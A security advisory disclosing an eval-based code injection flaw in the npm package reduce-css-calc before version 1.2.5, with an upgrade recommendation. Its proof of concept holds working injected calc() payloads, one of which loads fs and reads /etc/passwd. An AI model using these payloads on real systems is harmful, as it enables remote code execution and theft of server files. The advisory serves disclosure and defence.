GHSA-4662-j96g-mv46Critical

Arbitrary Code Injection in reduce-css-calc

Published
June 7, 2018
Last Modified
January 9, 2023

🔗 CVE IDs covered (1)

📋 Description

Affected versions of reduce-css-calc pass input directly to eval. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.

Proof of Concept

const reduceCSSCalc = require('reduce-css-calc');
console.log(reduceCSSCalc(`calc(                       (Buffer(10000)))`));
console.log(reduceCSSCalc(`calc(                       (global['fs'] = require('fs')))`));
console.log(reduceCSSCalc(`calc(                       (fs['readFileSync']("/etc/passwd", "utf-8")))`));

Recommendation

Update to version 1.2.5 or later.

🎯 Affected products1

  • npm/reduce-css-calc:< 1.2.5

🔗 References (4)